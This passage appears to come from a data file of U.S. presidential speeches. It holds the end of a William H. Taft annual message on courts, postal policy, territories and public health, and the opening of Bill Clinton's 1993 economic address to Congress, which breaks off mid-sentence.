judgment, and urge a provision by law for\nthe appointment of such a director.It may not be necessary to take the observatory out of the Navy Department\nand put it into another department in which opportunity for scientific\nresearch afforded by the observatory would seem to be more appropriate,\nthough I believe such a transfer in the long run is the best policy. I am\nsure, however, I express the desire of the astronomers and those learned in\nthe kindred sciences when I urge upon Congress that the Naval Observatory\nbe now dedicated to science under control of a man of science who can, if\nneed be, render all the service to the Navy Department which this\nobservatory now renders, and still furnish to the world the discoveries in\nastronomy that a great astronomer using such a plant would be likely to\nmake.DEPARTMENT OF JUSTICE EXPEDITION IN LEGAL PROCEDUREThe deplorable delays in the administration of civil and criminal law have\nreceived the attention of committees of the American Bar Association and of\nmany State Bar Associations, as well as the considered thought of judges\nand jurists. In my judgment, a change in judicial procedure, with a view to\nreducing its expense to private litigants in civil cases and facilitating\nthe dispatch of business and final decision in both civil and criminal\ncases, constitutes the greatest need in our American institutions. I do not\ndoubt for one moment that much of the lawless violence and cruelty\nexhibited in lynchings is directly due to the uncertainties and injustice\ngrowing out of the delays in trials, judgments, and the executions thereof\nby our courts. Of course these remarks apply quite as well to the\nadministration of justice in State courts as to that in Federal courts, and\nwithout making invidious distinction it is perhaps not too much to say\nthat, speaking generally, the defects are less in the Federal courts than\nin the State courts. But they are very great in the Federal courts. The\nexpedition with which business is disposed of both on the civil and the\ncriminal side of English courts under modern rules of procedure makes the\ndelays in our courts seem archaic and barbarous. The procedure in the\nFederal courts should furnish an example for the State courts. I presume it\nis impossible, without an amendment to the Constitution, to unite under one\nform of action the proceedings at common law and proceedings in equity in\nthe Federal courts, but it is certainly not impossible by a statute to\nsimplify and make short and direct the procedure both at law and in equity\nin those courts. It is not impossible to cut down still more than it is cut\ndown, the jurisdiction of the Supreme Court so as to confine it almost\nwholly to statutory and constitutional questions. Under the present\nstatutes the equity and admiralty procedure in the Federal courts is under\nthe control of the Supreme Court, but in the pressure of business to which\nthat court is subjected, it is impossible to hope that a radical and proper\nreform of the Federal equity procedure can be brought about. I therefore\nrecommend legislation providing for the appointment by the President of a\ncommission with authority to examine the law and equity procedure of the\nFederal courts of first instance, the law of appeals from those courts to\nthe courts of appeals and to the Supreme Court, and the costs imposed in\nsuch procedure upon the private litigants and upon the public treasury and\nmake recommendation with a view to simplifying and expediting the procedure\nas far as possible and making it as inexpensive as may be to the litigant\nof little means.INJUNCTIONS WITHOUT NOTICE.The platform of the successful party in the last election contained the\nfollowing: \"The Republican party will uphold at all times the authority and\nintegrity of the courts, State and Federal, and will ever insist that their\npowers to enforce their process and to protect life, liberty, and property\nshall be preserved inviolate. We believe, however, that the rules of\nprocedure in the Federal courts with respect to the issuance of the writ of\ninjunction should be more accurately defined by statute, and that no\ninjunction or temporary restraining order should be issued without notice,\nexcept where irreparable injury would result from delay, in which case a\nspeedy hearing thereafter should be granted.\" I recommend that in\ncompliance with the promise thus made, appropriate legislation be adopted.\nThe ends of justice will best be met and the chief cause of complaint\nagainst ill-considered injunctions without notice will be removed by the\nenactment of a statute forbidding hereafter the issuing of any injunction\nor restraining order, whether temporary or permanent, by any Federal court,\nwithout previous notice and a reasonable opportunity to be heard on behalf\nof the parties to be enjoined; unless it shall appear to the satisfaction\nof the court that the delay necessary to give such notice and hearing would\nresult in irreparable injury to the complainant and unless also the court\nshall from the evidence make a written finding, which shall be spread upon\nthe court minutes, that immediate and irreparable injury is likely to ensue\nto the complainant, and shall define the injury, state why it is\nirreparable, and shall also endorse on the order issued the date and the\nhour of the issuance of the order. Moreover, every such injunction or\nrestraining order issued without previous notice and opportunity by the\ndefendant to be heard should by force of the statute expire and be of no\neffect after seven days from the issuance thereof or within any time less\nthan that period which the court may fix, unless within such seven days or\nsuch less period, the injunction or order is extended or renewed after\nprevious notice and opportunity to be heard.My judgment is that the passage of such an act which really embodies the\nbest practice in equity and is very like the rule now in force in some\ncourts will prevent the issuing of ill-advised orders of injunction without\nnotice and will render such orders when issued much less objectionable by\nthe short time in which they may remain effective.ANTI-TRUST AND INTERSTATE COMMERCE LAWS.The jurisdiction of the General Government over interstate commerce has led\nto the passage of the so-called \"Sherman Anti-trust Law\" and the\n\"Interstate Commerce Law\" and its amendments. The developments in the\noperation of those laws, as shown by indictments, trials, judicial\ndecisions, and other sources of information, call for a discussion and some\nsuggestions as to amendments. These I prefer to embody in a special message\ninstead of including them in the present communication, and I shall avail\nmyself of the first convenient opportunity to bring these subjects to the\nattention of Congress.JAIL OF THE DISTRICT OF COLUMBIA.My predecessor transmitted to the Congress a special message on January 11,\n1909, accompanying the report of Commissioners theretofore appointed to\ninvestigate the jail, workhouse, etc., in the District of Columbia, in\nwhich he directed attention to the report as setting forth vividly, \"the\nreally outrageous conditions in the workhouse and jail.\"The Congress has taken action in pursuance of the recommendations of that\nreport and of the President, to the extent of appropriating funds and\nenacting the necessary legislation for the establishment of a workhouse and\nreformatory. No action, however, has been taken by the Congress with\nrespect to the jail, the conditions of which are still antiquated and\ninsanitary. I earnestly recommend the passage of a sufficient appropriation\nto enable a thorough remodeling of that institution to be made without\ndelay. It is a reproach to the National Government that almost under the\nshadow of the Capitol Dome prisoners should be confined in a building\ndestitute of the ordinary decent appliances requisite to cleanliness and\nsanitary conditions.POST-OFFICE DEPARTMENT. SECOND-CLASS MAIL MATTER.The deficit every year in the Post-Office Department is largely caused by\nthe low rate of postage of 1 cent a pound charged on second-class mail\nmatter, which includes not only newspapers, but magazines and miscellaneous\nperiodicals. The actual loss growing out of the transmission of this\nsecond-class mail matter at 1 cent a pound amounts to about $63,000,000 a\nyear. The average cost of the transportation of this matter is more than 9\ncents a pound.It appears that the average distance over which newspapers are delivered to\ntheir customers is 291 miles, while the average haul of magazines is 1,049,\nand of miscellaneous periodicals 1,128 miles. Thus, the average haul of the\nmagazine is three and one-half times and that of the miscellaneous\nperiodical nearly four times the haul of the daily newspaper, yet all of\nthem pay the same postage rate of 1 cent a pound. The statistics of 1907\nshow that second-class mail matter constituted 63.91 per cent. of the\nweight of all the mail, and yielded only 5.19 per cent. of the revenue.The figures given are startling, and show the payment by the Government of\nan enormous subsidy to the newspapers, magazines, and periodicals, and\nCongress may well consider whether radical steps should not be taken to\nreduce the deficit in the Post-Office Department caused by this discrepancy\nbetween the actual cost of transportation and the compensation exacted\ntherefor.A great saving might be made, amounting to much more than half of the loss,\nby imposing upon magazines and periodicals a higher rate of postage. They\nare much heavier than newspapers, and contain a much higher proportion of\nadvertising to reading matter, and the average distance of their\ntransportation is three and a half times as great.The total deficit for the last fiscal year in the Post-Office Department\namounted to $17,500,000. The branches of its business which it did at a\nloss were the second-class mail service, in which the loss, as already\nsaid, was $63,000,000, and the free rural delivery, in which the loss was\n$28,000,000. These losses were in part offset by the profits of the letter\npostage and other sources of income. It would seem wise to reduce the loss\nupon second-class mail matter, at least to the extent of preventing a\ndeficit in the total operations of the Post-Office.I commend the whole subject to Congress, not unmindful of the spread of\nintelligence which a low charge for carrying newspapers and periodicals\nassists. I very much doubt, however, the wisdom of a policy which\nconstitutes so large a subsidy and requires additional taxation to meet\nit.POSTAL SAVINGS BANKS.The second subject worthy of mention in the Post-Office Department is the\nreal necessity and entire practicability of establishing postal savings\nbanks. The successful party at the last election declared in favor of\npostal savings banks, and although the proposition finds opponents in many\nparts of the country, I am convinced that the people desire such banks, and\nam sure that when the banks are furnished they will be productive of the\nutmost good. The postal savings banks are not constituted for the purpose\nof creating competition with other banks. The rate of interest upon\ndeposits to which they would be limited would be so small as to prevent\ntheir drawing deposits away from other banks.I believe them to be necessary in order to offer a proper inducement to\nthrift and saving to a great many people of small means who do not now have\nbanking facilities, and to whom such a system would offer an opportunity\nfor the accumulation of capital. They will furnish a satisfactory\nsubstitute, based on sound principle and actual successful trial in nearly\nall the countries of the world, for the system of government guaranty of\ndeposits now being adopted in several western States, which with deference\nto those who advocate it seems to me to have in it the seeds of\ndemoralization to conservative banking and certain financial disaster. The\nquestion of how the money deposited in postal savings banks shall be\ninvested is not free from difficulty, but I believe that a satisfactory\nprovision for this purpose was inserted as an amendment to the bill\nconsidered by the Senate at its last session. It has been proposed to delay\nthe consideration of legislation establishing a postal savings bank until\nafter the report of the Monetary Commission. This report is likely to be\ndelayed, and properly so, cause of the necessity for careful deliberation\nand close investigation. I do not see why the one should be tied up with\nthe other. It is understood that the Monetary Commission have looked into\nthe systems of banking which now prevail abroad, and have found that by a\ncontrol there exercised in respect to reserves and the rates of exchange by\nsome central authority panics are avoided. It is not apparent that a system\nof postal savings banks would in any way interfere with a change to such a\nsystem here. Certainly in most of the countries of Europe where control is\nthus exercised by a central authority, postal savings banks exist and are\nnot thought to be inconsistent with a proper financial and banking system.SHIP SUBSIDY.Following the course of my distinguished predecessor, I earnestly recommend\nto Congress the consideration and passage of a ship subsidy bill, looking\nto the establishment of lines between our Atlantic seaboard and the eastern\ncoast of South America, as well as lines from the west coast of the United\nStates to South America. China, Japan, and the Philippines. The profits on\nforeign mails are perhaps a sufficient measure of the expenditures which\nmight first be tentatively applied to this method of inducing American\ncapital to undertake the establishment of American lines of steamships in\nthose directions in which we now feel it most important that we should have\nmeans of transportation controlled in the interest of the expansion of our\ntrade. A bill of this character has once passed the House and more than\nonce passed the Senate, and I hope that at this session a bill framed on\nthe same lines and with the same purposes may become a law.INTERIOR DEPARTMENT. NEW MEXICO AND ARIZONA.The successful party in the last election in its national platform declared\nin favor of the admission as separate States of New Mexico and Arizona, and\nI recommend that legislation appropriate to this end be adopted. I urge,\nhowever, that care be exercised in the preparation of the legislation\naffecting each Territory to secure deliberation in the selection of persons\nas members of the convention to draft a constitution for the incoming\nState, and I earnestly advise that such constitution after adoption by the\nconvention shall be submitted to the people of the Territory for their\napproval at an election in which the sole issue shall be the merits of the\nproposed constitution, and if the constitution is defeated by popular vote\nmeans shall be provided in the enabling act for a new convention and the\ndrafting of a new constitution. I think it vital that the issue as to the\nmerits of the constitution should not be mixed up with the selection of\nState officers, and that no election of State officers should be had until\nafter the constitution has been fully approved and finally settled upon.\nALASKA.With respect to the Territory of Alaska, I recommend legislation which\nshall provide for the appointment by the President of a governor and also\nof an executive council, the members of which shall during their term of\noffice reside in the Territory, and which shall have legislative powers\nsufficient to enable it to give to the Territory local laws adapted to its\npresent growth. I strongly deprecate legislation looking to the election of\na Territorial legislature in that vast district. The lack of permanence of\nresidence of a large part of the present population and the small number of\nthe people who either permanently or temporarily reside in the district as\ncompared with its vast expanse and the variety of the interests that have\nto be subserved, make it altogether unfitting in my judgment to provide for\na popular election of a legislative body. The present system is not\nadequate and does not furnish the character of local control that ought to\nbe there. The only compromise it seems to me which may give needed local\nlegislation and secure a conservative government is the one I propose.CONSERVATION OF NATIONAL RESOURCES.In several Departments there is presented the necessity for legislation\nlooking to the further conservation of our national resources, and the\nsubject is one of such importance as to require a more detailed and\nextended discussion than can be entered upon in this communication. For\nthat reason I shall take an early opportunity to send a special message to\nCongress on the subject of the improvement of our waterways, upon the\nreclamation and irrigation of arid, semiarid, and swamp lands; upon the\npreservation of our forests and the reforesting of suitable areas; upon the\nreclassification of the public domain with a view of separating from\nagricultural settlement mineral, coal, and phosphate lands and sites\nbelonging to the Government bordering on streams suitable for the\nutilization of water power.DEPARTMENT OF AGRICULTURE.I commend to your careful consideration the report of the Secretary of\nAgriculture as showing the immense sphere of usefulness which that\nDepartment now fills and the wonderful addition to the wealth of the nation\nmade by the farmers of this country in the crops of the current year.DEPARTMENT OF COMMERCE AND LABOR. THE LIGHT-HOUSE BOARD.The Light-House Board now discharges its duties under the Department of\nCommerce and Labor. For upwards of forty years this Board has been\nconstituted of military and naval officers and two or three men of science,\nwith such an absence of a duly constituted executive head that it is\nmarvelous what work has been accomplished. In the period of construction\nthe energy and enthusiasm of all the members prevented the inherent defects\nof the system from interfering greatly with the beneficial work of the\nBoard, but now that the work is chiefly confined to maintenance and repair,\nfor which purpose the country is divided into sixteen districts, to which\nare assigned an engineer officer of the Army and an inspector of the Navy,\neach with a light-house tender and the needed plant for his work, it has\nbecome apparent by the frequent friction that arises, due to the absence of\nany central independent authority, that there must be a complete\nreorganization of the Board. I concede the advantage of keeping in the\nsystem the rigidity of discipline that the presence of naval and military\nofficers in charge insures, but unless the presence of such officers in the\nBoard can be made consistent with a responsible executive head that shall\nhave proper authority, I recommend the transfer of control over the\nlight-houses to a suitable civilian bureau. This is in accordance with the\njudgment of competent persons who are familiar with the workings of the\npresent system. I am confident that a reorganization can be effected which\nshall avoid the recurrence of friction between members, instances of which\nhave been officially brought to my attention, and that by such\nreorganization greater efficiency and a substantial reduction in the\nexpense of operation can be brought about.CONSOLIDATION OF BUREAUS.I request Congressional authority to enable the Secretary of Commerce and\nLabor to unite the Bureaus of Manufactures and Statistics. This was\nrecommended by a competent committee appointed in the previous\nadministration for the purpose of suggesting changes in the interest of\neconomy and efficiency, and is requested by the Secretary.THE WHITE SLAVE TRADE.I greatly regret to have to say that the investigations made in the Bureau\nof Immigration and other sources of information lead to the view that there\nis urgent necessity for additional legislation and greater executive\nactivity to suppress the recruiting of the ranks of prostitutes from the\nstreams of immigration into this country--an evil which, for want of a\nbetter name, has been called \"The White Slave Trade.\" I believe it to be\nconstitutional to forbid, under penalty, the transportation of persons for\npurposes of prostitution across national and state lines; and by\nappropriating a fund of $50,000 to be used by the Secretary of Commerce and\nLabor for the employment of special inspectors it will be possible to bring\nthose responsible for this trade to indictment and conviction under a\nfederal law.BUREAU OF HEALTHFor a very considerable period a movement has been gathering strength,\nespecially among the members of the medical profession, in favor of a\nconcentration of the instruments of the National Government which have to\ndo with the promotion of public health. In the nature of things, the\nMedical Department of the Army and the Medical Department of the Navy must\nbe kept separate. But there seems to be no reason why all the other bureaus\nand offices in the General Government which have to do with the public\nhealth or subjects akin thereto should not be united in a bureau to be\ncalled the \"Bureau of Public Health.\" This would necessitate the transfer\nof the Marine-Hospital Service to such a bureau. I am aware that there is\nwide field in respect to the public health committed to the States in which\nthe Federal Government can not exercise jurisdiction, but we have seen in\nthe Agricultural Department the expansion into widest usefulness of a\ndepartment giving attention to agriculture when that subject is plainly one\nover which the States properly exercise direct jurisdiction. The\nopportunities offered for useful research and the spread of useful\ninformation in regard to the cultivation of the soil and the breeding of\nstock and the solution of many of the intricate problems in progressive\nagriculture have demonstrated the wisdom of establishing that department.\nSimilar reasons, of equal force, can be given for the establishment of a\nbureau of health that shall not only exercise the police jurisdiction of\nthe Federal Government respecting quarantine, but which shall also afford\nan opportunity for investigation and research by competent experts into\nquestions of health affecting the whole country, or important sections\nthereof, questions which, in the absence of Federal governmental work, are\nnot likely to be promptly solved.CIVIL SERVICE COMMISSION.The work of the United States Civil Service Commission has been performed\nto the general satisfaction of the executive officers with whom the\nCommission has been brought into official communication. The volume of that\nwork and its variety and extent have under new laws, such as the Census\nAct, and new Executive orders, greatly increased. The activities of the\nCommission required by the statutes have reached to every portion of the\npublic domain.The accommodations of the Commission are most inadequate for its needs. I\ncall your attention to its request for increase in those accommodations as\nwill appear from the annual report for this year.POLITICAL CONTRIBUTIONS.I urgently recommend to Congress that a law be passed requiring that\ncandidates in elections of Members of the House of Representatives, and\ncommittees in charge of their candidacy and campaign, file in a proper\noffice of the United States Government a statement of the contributions\nreceived and of the expenditures incurred in the campaign for such\nelections and that similar legislation be enacted in respect to all other\nelections which are constitutionally within the control of Congress.FREEDMAN'S SAVINGS AND TRUST COMPANY.Recommendations have been made by my predecessors that Congress appropriate\na sufficient sum to pay the balance--about 38 per cent.--of the amounts due\ndepositors in the Freedman's Savings and Trust Company. I renew this\nrecommendation, and advise also that a proper limitation be prescribed\nfixing a period within which the claims may be presented, that assigned\nclaims be not recognized, and that a limit be imposed on the amount of fees\ncollectible for services in presenting such claims.SEMI-CENTENNIAL OF NEGRO FREEDOM.The year 1913 will mark the fiftieth anniversary of the issuance of the\nEmancipation Proclamation granting freedom to the negroes. It seems fitting\nthat this event should be properly celebrated. Already a movement has been\nstarted by prominent Negroes, encouraged by prominent white people and the\npress. The South especially is manifesting its interest in this movement.It is suggested that a proper form of celebration would be an exposition to\nshow the progress the Negroes have made, not only during their period of\nfreedom, but also from the time of their coming to this country.I heartily indorse this proposal, and request that the Executive be\nauthorized to appoint a preliminary commission of not more than seven\npersons to consider carefully whether or not it is wise to hold such an\nexposition, and if so, to outline a plan for the enterprise. I further\nrecommend that such preliminary commission serve without salary, except as\nto their actual expenses, and that an appropriation be made to meet such\nexpenses. CONCLUSION.I have thus, in a message compressed as much as the subjects will permit,\nreferred to many of the legislative needs of the country, with the\nexceptions already noted. Speaking generally, the country is in a high\nstate of prosperity. There is every reason to believe that we are on the\neve of a substantial business expansion, and we have just garnered a\nharvest unexampled in the market value of our agricultural products. The\nhigh prices which such products bring mean great prosperity for the farming\ncommunity, but on the other hand they mean a very considerably increased\nburden upon those classes in the community whose yearly compensation does\nnot expand with the improvement in business and the general prosperity.\nVarious reasons are given for the high prices. The proportionate increase\nin the output of gold, which to-day is the chief medium of exchange and is\nin some respects a measure of value, furnishes a substantial explanation of\nat least a part of the increase in prices. The increase in population and\nthe more expensive mode of living of the people, which have not been\naccompanied by a proportionate increase in acreage production, may furnish\na further reason. It is well to note that the increase in the cost of\nliving is not confined to this country, but prevails the world over, and\nthat those who would charge increases in prices to the existing protective\ntariff must meet the fact that the rise in prices has taken place almost\nwholly in those products of the factory and farm in respect to which there\nhas been either no increase in the tariff or in many instances a very\nconsiderable reduction.", 
+    "name": "William H. Taft"
+}
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+{
+    "date": "February 17, 1993", 
+    "speech": "Mr. President, Mr. Speaker, Members of the House and the Senate, distinguished\nAmericans here as visitors in this Chamber, as am I. It is nice to have a fresh\nexcuse for giving a long speech. [Laughter]When Presidents speak to Congress and the Nation from this podium, typically\nthey comment on the full range in challenges and opportunities that face the\nUnited States. But this is not an ordinary time, and for all the many tasks that\nrequire our attention, I believe tonight one calls on us to focus, to unite, and\nto act. And that is our economy. For more than anything else, our task tonight\nas Americans is to make our economy thrive again.Let me begin by saying that it has been too long, at least three decades, since\na President has come and challenged Americans to join him on a great national\njourney, not merely to consume the bounty of today but to invest for a much\ngreater one tomorrow.Like individuals, nations must ultimately decide how they wish to conduct\nthemselves, how they wish to be thought of by those with whom they live, and\nlater, how they wish to be judged by history. Like every individual man and\nwoman, nations must decide whether they are prepared to rise to the occasions\nhistory presents them.We have always been a people of youthful energy and daring spirit. And at this\nhistoric moment, as communism has fallen, as freedom is spreading around the\nworld, as a global economy is taking shape before our eyes, Americans have\ncalled for change. And now it is up to those of us in this room to deliver for\nthem.Our Nation needs a new direction. Tonight I present to you a comprehensive plan\nto set our Nation on that new course. I believe we will find our new direction\nin the basic old values that brought us here over the last two centuries: a\ncommitment to opportunity, to individual responsibility, to community, to work,\nto family, and to faith. We must now break the habits of both political parties\nand say there can be no more something for nothing and admit frankly that we are\nall in this together.The conditions which brought us as a nation to this point are well-known: two\ndecades of low productivity, growth, and stagnant wages; persistent unemployment\nand underemployment; years of huge Government deficits and declining investment\nin our future; exploding health care costs and lack of coverage for millions of\nAmericans; legions of poor children; education and job training opportunities\ninadequate to the demands of this tough, global economy. For too long we have\ndrifted without a strong sense of purpose or responsibility or community.And our political system so often has seemed paralyzed by special interest\ngroups, by partisan bickering, and by the sheer complexity of our problems. I\nbelieve we can do better because we remain the greatest nation on Earth, the\nworld's strongest economy, the world's only military superpower. If we have the\nvision, the will, and the heart to make the changes we must, we can still enter\nthe 21st century with possibilities our parents could not even have imagined and\nenter it having secured the American dream for ourselves and for future\ngenerations.I well remember 12 years ago President Reagan stood at this very podium and told\nyou and the American people that if our national debt were stacked in\nthousand-dollar bills, the stack would reach 67 miles into space. Well, today\nthat stack would reach 267 miles. I tell you this not to assign blame for this\nproblem. There is plenty of blame to go around in both branches of the\nGovernment and both parties. The time has come for the blame to end. I did not\nseek this office to place blame. I come here tonight to accept responsibility,\nand I want you to accept responsibility with me. And if we do right by this\ncountry, I do not care who gets the credit for it.The plan I offer you has four fundamental components. First, it shifts our\nemphasis in public and private spending from consumption to investment,\ninitially by jumpstarting the economy in the short term and investing in our\npeople, their jobs, and their incomes over the long run. Second, it changes the\nrhetoric of the past into the actions of the present by honoring work and\nfamilies in every part of our public decision-making. Third, it substantially\nreduces the Federal deficit honestly and credibly by using in the beginning the\nmost conservative estimates of Government revenues, not, as the executive branch\nhas done so often in the past, using the most optimistic ones. And finally, it\nseeks to earn the trust of the American people by paying for these plans first\nwith cuts in Government waste and efficiency; second, with cuts, not gimmicks,\nin Government spending; and by fairness, for a change, in the way additional\nburdens are borne.Tonight I want to talk with you about what Government can do because I believe\nGovernment must do more. But let me say first that the real engine of economic\ngrowth in this country is the private sector, and second, that each of us must\nbe an engine of growth and change. The truth is that as Government creates more\nopportunity in this new and different time, we must also demand more\nresponsibility in turn.Our immediate priority must be to create jobs, create jobs now. Some people say,\n\"Well, we're in a recovery, and we don't have to do that.\" Well, we all hope\nwe're in a recovery, but we're sure not creating new jobs. And there's no\nrecovery worth its salt that doesn't put the American people back to work.To create jobs and guarantee a strong recovery, I call on Congress to enact an\nimmediate package of jobs investments of over $30 billion to put people to work\nnow, to create a half a million jobs: jobs to rebuild our highways and airports,\nto renovate housing, to bring new life to rural communities, and spread hope and\nopportunity among our Nation's youth. Especially I want to emphasize, after the\nevents of last year in Los Angeles and the countless stories of despair in our\ncities and in our poor rural communities, this proposal will create almost\n700,000 new summer jobs for displaced, unemployed young people alone this\nsummer. And tonight I invite America's business leaders to join us in this\neffort so that together we can provide over one million summer jobs in cities\nand poor rural areas for our young people.Second, our plan looks beyond today's business cycle because our aspirations\nextend into the next century. The heart of this plan deals with the long term.\nIt is an investment program designed to increase public and private investment\nin areas critical to our economic future. And it has a deficit reduction program\nthat will increase the savings available for the private sector to invest, will\nlower interest rates, will decrease the percentage of the Federal budget claimed\nby interest payments, and decrease the risk of financial market disruptions that\ncould adversely affect our economy.Over the long run, all this will bring us a higher rate of economic growth,\nimproved productivity, more high-quality jobs, and an improved economic\ncompetitive position in the world. In order to accomplish both increased\ninvestment and deficit reduction, something no American Government has ever been\ncalled upon to do at the same time before, spending must be cut and taxes must\nbe raised.The spending cuts I recommend were carefully thought through in a way to\nminimize any adverse economic impact, to capture the peace dividend for\ninvestment purposes, and to switch the balance in the budget from consumption to\nmore investment. The tax increases and the spending cuts were both designed to\nassure that the cost of this historic program to face and deal with our problems\nwill be borne by those who could readily afford it the most. Our plan is\ndesigned, furthermore, and perhaps in some ways most importantly, to improve the\nhealth of American business through lower interest rates, more incentives to\ninvest, and better trained workers.Because small business has created such a high percentage of all the new jobs in\nour Nation over the last 10 or 15 years, our plan includes the boldest targeted\nincentives for small business in history. We propose a permanent investment tax\ncredit for the smallest firms in this country, with revenues of under $5\nmillion. That's about 90 percent of the firms in America, employing about 40\npercent of the work force but creating a big majority of the net new jobs for\nmore than a decade. And we propose new rewards for entrepreneurs who take new\nrisks. We propose to give small business access to all the new technologies of\nour time. And we propose to attack this credit crunch which has denied small\nbusiness the credit they need to flourish and prosper.With a new network of community development banks and $1 billion to make the\ndream of enterprise zones real, we propose to bring new hope and new jobs to\nstorefronts and factories from south Boston to south Texas to south central Los\nAngeles. This plan invests in our roads, our bridges, our transit systems, in\nhigh-speed railways and high-tech information systems. And it provides the most\nambitious environmental cleanup in partnership with State and local government\nof our time, to put people to work and to preserve the environment for our\nfuture.Standing as we are on the edge of a new century, we know that economic growth\ndepends as never before on opening up new markets overseas and expanding the\nvolume of world trade. And so, we will insist on fair trade rules in\ninternational markets as a part of a national economic strategy to expand trade,\nincluding the successful completion of the latest round of world trade talks and\nthe successful completion of a North American Free Trade Agreement with\nappropriate safeguards for our workers and for the environment.At the same time -- and I say this to you in both parties and across America\ntonight, all the people who are listening -- it is not enough to pass a budget or\neven to have a trade agreement. This world is changing so fast that we must have\naggressive, targeted attempts to create the high-wage jobs of the future. That's\nwhat all our competitors are doing. We must give special attention to those\ncritical industries that are going to explode in the 21st century but that are\nin trouble in America today, like aerospace. We must provide special assistance\nto areas and to workers displaced by cuts in the defense budget and by other\nunavoidable economic dislocations.And again I will say we must do this together. I pledge to you that I will do my\nbest to see that business and labor and Government work together for a change.But all of our efforts to strengthen the economy will fail -- let me say this\nagain; I feel so strongly about this -- all of our efforts to strengthen the\neconomy will fail unless we also take this year, not next year, not 5 years from\nnow but this year, bold steps to reform our health care system.In 1992, we spent 14 percent of our income on health care, more than 30 percent\nmore than any other country in the world, and yet we were the only advanced\nnation that did not provide a basic package of health care benefits to all of\nits citizens. Unless we change the present pattern, 50 percent of the growth in\nthe deficit between now and the year 2000 will be in health care costs. By the\nyear 2000 almost 20 percent of our income will be in health care. Our families\nwill never be secure, our businesses will never be strong, and our Government\nwill never again be fully solvent until we tackle the health care crisis. We\nmust do it this year.The combination of the rising cost of care and the lack of care and the fear of\nlosing care are endangering the security and the very lives of millions of our\npeople. And they are weakening our economy every day. Reducing health care costs\ncan liberate literally hundreds of billions of dollars for new investment in\ngrowth and jobs. Bringing health costs in line with inflation would do more for\nthe private sector in this country than any tax cut we could give and any\nspending program we could promote. Reforming health care over the long run is\ncritically essential to reducing not only our deficit but to expanding\ninvestment in America.Later this spring, after the First Lady and the many good people who are helping\nher all across the country complete their work, I will deliver to Congress a\ncomprehensive plan for health care reform that finally will bring costs under\ncontrol and provide security to all of our families, so that no one will be\ndenied the coverage they need but so that our economic future will not be\ncompromised either. We'll have to root out fraud and overcharges and make sure\nthat paperwork no longer chokes your doctor. We'll have to maintain the highest\nAmerican standards and the right to choose in a system that is the world's\nfinest for all those who can access it. But first we must make choices. We must\nchoose to give the American people the quality they demand and deserve with a\nsystem that will not bankrupt the country or further drive more Americans into\nagony.Let me further say that I want to work with all of you on this. I realize this\nis a complicated issue. But we must address it. And I believe if there is any\nchance that Republicans and Democrats who disagree on taxes and spending or\nanything else could agree on one thing, surely we can all look at these numbers\nand go home and tell our people the truth. We cannot continue these spending\npatterns in public or private dollars for health care for less and less and less\nevery year. We can do better. And I will work to do better.Perhaps the most fundamental change the new direction I propose offers is its\nfocus on the future and its investment which I seek in our children. Each day we\ndelay really making a commitment to our children carries a dear cost. Half of\nthe 2-year-olds in this country today don't receive the immunizations they need\nagainst deadly diseases. Our plan will provide them for every eligible child.\nAnd we know now that we will save $10 later for every $1 we spend by eliminating\npreventable childhood diseases. That's a good investment no matter how you\nmeasure it.I recommend that the women, infants, and children's nutrition program be\nexpanded so that every expectant mother who needs the help gets it. We all know\nthat Head Start, a program that prepares children for school, is a success\nstory. We all know that it saves money. But today it just reaches barely over\none-third of all the eligible children. Under this plan, every eligible child\nwill be able to get a head start. This is not just the right thing to do; it is\nthe smart thing to do. For every dollar we invest today, we'll save $3 tomorrow.\nWe have to start thinking about tomorrow. I've heard that somewhere before.\n[Laughter]We have to ask more in our schools of our students, our teachers, our\nprincipals, our parents. Yes, we must give them the resources they need to meet\nhigh standards, but we must also use the authority and the influence and the\nfunding of the Education Department to promote strategies that really work in\nlearning. Money alone is not enough. We have to do what really works to increase\nlearning in our schools.We have to recognize that all of our high school graduates need some further\neducation in order to be competitive in this global economy. So we have to\nestablish a partnership between businesses and education and the Government for\napprenticeship programs in every State in this country to give our people the\nskills they need. Lifelong learning must benefit not just young high school\ngraduates but workers, too, throughout their career. The average 18-year-old\ntoday will change jobs seven times in a lifetime. We have done a lot in this\ncountry on worker training in the last few years, but the system is too\nfractured. We must develop a unified, simplified, sensible, streamlined\nworker-training program so that workers receive the training they need\nregardless of why they lost their jobs or whether they simply need to learn\nsomething new to keep them. We have got to do better on this.And finally, I propose a program that got a great response from the American\npeople all across this country last year: a program of national service to make\ncollege loans available to all Americans and to challenge them at the same time\nto give something back to their country as teachers or police officers or\ncommunity service workers; to give them the option to pay the loans back, but at\ntax time so they can't beat the bill, but to encourage them instead to pay it\nback by making their country stronger and making their country better and giving\nus the benefit of their knowledge.A generation ago when President Kennedy proposed and the United States Congress\nembraced the Peace Corps, it defined the character of a whole generation of\nAmericans committed to serving people around the world. In this national service\nprogram, we will provide more than twice as many slots for people before they go\nto college to be in national service than ever served in the Peace Corps. This\nprogram could do for this generation of Members of Congress what the land grant\ncollege act did and what the GI bill did for former Congressmen. In the future,\nhistorians who got their education through the national service loan will look\nback on you and thank you for giving America a new lease on life, if you meet\nthis challenge.If we believe in jobs and we believe in learning, we must believe in rewarding\nwork. If we believe in restoring the values that make America special, we must\nbelieve that there is dignity in all work, and there must be dignity for all\nworkers. To those who care for our sick, who tend our children, who do our most\ndifficult and tiring jobs, the new direction I propose will make this solemn,\nsimple commitment: By expanding the refundable earned-income tax credit, we will\nmake history. We will reward the work of millions of working poor Americans by\nrealizing the principle that if you work 40 hours a week and you've got a child\nin the house, you will no longer be in poverty.Later this year, we will offer a plan to end welfare as we know it. I have\nworked on this issue for the better part of a decade. And I know from personal\nconversations with many people that no one, no one wants to change the welfare\nsystem as badly as those who are trapped in it. I want to offer the people on\nwelfare the education, the training, the child care, the health care they need\nto get back on their feet, but say after 2 years they must get back to work,\ntoo, in private business if possible, in public service if necessary. We have to\nend welfare as a way of life and make it a path to independence and dignity.Our next great goal should be to strengthen our families. I compliment the\nCongress for passing the Family and Medical Leave Act as a good first step, but\nit is time to do more. This plan will give this country the toughest child\nsupport enforcement system it has ever had. It is time to demand that people\ntake responsibility for the children they bring in this world.And I ask you to help to protect our families against the violent crime which\nterrorizes our people and which tears our communities apart. We must pass a\ntough crime bill. I support not only the bill which didn't quite make it to the\nPresident's desk last year but also an initiative to put 100,000 more police\nofficers on the street, to provide boot camps for first-time nonviolent\noffenders for more space for the hardened criminals in jail. And I support an\ninitiative to do what we can to keep guns out of the hands of criminals. Let me\nsay this. I will make you this bargain: If you will pass the Brady bill, I'll\nsure sign it.Let me say now, we should move to the harder parts.I think it is clear to every American, including every Member of Congress of\nboth parties, that the confidence of the people who pay our bills in 